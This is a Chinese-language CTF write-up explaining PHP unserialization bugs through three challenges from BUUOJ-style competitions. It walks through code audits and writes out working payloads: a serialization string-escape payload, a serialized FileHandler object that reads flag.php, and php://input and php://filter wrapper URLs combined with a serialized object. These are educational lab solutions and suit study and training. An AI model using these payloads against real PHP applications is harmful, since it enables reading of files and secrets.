php序列化漏洞
写在前面
在家呆了好久有点无聊。于是决定开个新坑,加之以前序列化漏洞也没怎么深入的学习,于是决定来写写序列化吧。
包含题目:
- [网鼎杯 2020 青龙组]AreUSerialz
- [安洵杯 2019]easy_serialize_php
- [ZJCTF 2019]nizhuansiwei
- [MRCTF 2020]EzPop
[安洵杯 2019]easy_serialize_php
第一步代码审计分块来看:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
filter函数相当于一个正则匹配和字符替换
传入的_SESSION会被重置并赋予一个新的数组的值,即:
“user”=>guest
“function”=>$function(我们传入的)
然后 extract() 函数会把数组中的键值对转化为变量名和值的关系,而且由于变量覆盖,当再次传入$_SESSION 时,会把原来的东西覆盖掉,只剩下传进去的东西。
事实上
1 | Extract()函数引起的变量覆盖漏洞 |
核心的地方在$function=’show_image’这里会把序列化后的SESSION数组反序列化,并读取img的内容。
那么思路就是,让img=base64_encode(d0g3_f1ag.php).
这里问题又来了,base64_encode(d0g3_f1ag.php)反序列化后要经过filter函数的过滤,filter函数会把flag,php字段替换为空。
php反序列化字符串逃逸
在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。花括号后面的内容会全部被忽略。
思路:
- 如果直接控制img的值,由于unset会把SESSION销毁,所以指定img的值也没用
- 由于1的存在,我们只能通过传入_SESSION[]数组里同名的键值对来覆盖掉代码里设定好的值,而且我们能控制的值只有user和function
- 反序列化的时候,会严格遵循反序列化规则,即当字段有23位长度时,一定会读取23位
- filter函数会过滤掉flag,php
因此我们要构造一个提前闭合反序列化字段的payload,有点像SQL注入的时候,利用单引号闭合SQL语句一样
下面开始构造,先看一下正常的SESSION数组:
1 |
|
1 | a:3:{s:4:"user";s:5:"guest";s:8:"function";s:2:"{}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} |
中间一对花括号就是我们能控制的内容,由于filter函数会把flag替换为空,所以我们要让user字段的值“吞”掉后面正常的function的键和值,然后紧接着就是img的内容。
function的字段一共有23个字符,因此构造user的值为’flagflagflagflagflagphp’,function的值为’”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:1:”a”;s:1:”a”;}’
1 | $_SESSION['user'] = 'flagflagflagflagflagphp'; |
因为原本的数组里有3个变量,现在覆盖成了2个,还要加1个,才能反序列化成功。最终payload为:
1 | data = { |
python 发包发现真正的flag在
1 | <?php |
改一下要读取的文件内容的base64编码,(这里要记得改长度)
拿到flag:flag{nishishabi}
这里要吐槽一下,docker搭建的环境里flag是空的,可以自己往里面写flag。还以为payload有问题(晕)
[网鼎杯 2020 青龙组]AreUSerialz
上来就是源码,那就看呗
1 |
|
首先理一下代码逻辑,核心代码在最后,可以get一个str的变量,如果满足is_valid规则就将这个str反序列化,is_valid的规则是字符串中的每一个字符的ASCII码值必须在32到125之间。
read函数中有一位危险函数file_get_content,这个$filename的内容是可以被控制的。反序列化的时候会调用_destruct这个魔术方法。魔术方法里会把op改成1,然后调用process方法。process方法里op等于1调用write方法,op等于2调用read方法,显然,我们要让op等于2,去调用read方法。让filename等于flag.php.那么整体就是有两个需要绕过的点
- is_valid的ASCII码绕过,因为FileHandler类中的元素均为protected成员,序列化的时候会加上ASCII码中0x00这是一个不可见字符。这里有两种绕过思路。一是php7以上的版本对类成员属性的不敏感,在序列化时把成员属性改为public。二是在php序列化中如果表示字符串s是大写,其表示的字符串可以用16进制来表示
- op = 2的绕过,因为这里用的”===”,可以用php特性来绕过。让op的值为整型2,这样就不满足了判断条件
构造payload:
1 |
|
这里如果要用python发包,一定要先url编码,否则\00不会被包含进去
拿到base64编码的flag:
PD9waHAgJGZsYWc9J2ZsYWd7NDQ4M2U4M2ItNjM1Ni00NGM0LTliMjItYTQ2YTlmYjIwMmM5fSc7Cg==,解码就行了
比赛的时候还要拿到绝对路径,buuoj上到这里就可以了!
[ZJCTF2019 nizhuansiwei]
主要考点
- php伪协议
- 反序列化
代码审计
整个代码段不长,整体来看我们要get传入三个字段:text,file,password。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
file_get_contents($text,’r’)要求传入的text是一个文件。伪协议的说明如下:具体伪协议的用法可以参考链接https://segmentfault.com/a/11900000189910871
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
。这里我们用input协议写入text(也可以用data伪协议),使其满足第一个if判断条件然后我们根据hint要读取useless.php文件的内容,这里有file参数可控,但是无法直接读取flag,可以直接读取/etc/passwd,但针对php文件我们需要进行base64编码,否则读取不到其内容,所以以下无法使用:1
2/?text=php://input
post部分:welcome to the zjctf
构造payload:拿到一串base64编码的php代码,解码后如下:1
2/?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
post部分:welcome to the zjctf这里涉及到魔术方法__tostring的用法,当对象被当作字符串来处理时(例如:代码中输出一个对象时),会自动调用__tostring方法,而在之前的代码段中,可以看到echo了变量password,因此这里就要自动调用tostring方法,只要让password变量的值是一个flag对象,同时这个对象的file属性的值为flag.php就可以读取到flag文件的内容了,构造如下:1
2
3
4
5
6
7
8
9
10
11
12
13
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
最终payload如下:1
2
3
4
5
6
7
8
class Flag{ //flag.php
public $file = "flag.php";
}
$a = new Flag;
echo serialize($a);
注意这里file要改回useless.php。因为我们现在是要执行useless.php里的代码,而不是读取它的内容。最后F12看到flag1
2/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
post部分:welcome to the zjctf1
2
3
4
5
6
7?php
if(2===3){
return ("flag{5f13288d-ef04-417f-96d9-8156d0e2e763}");
}
?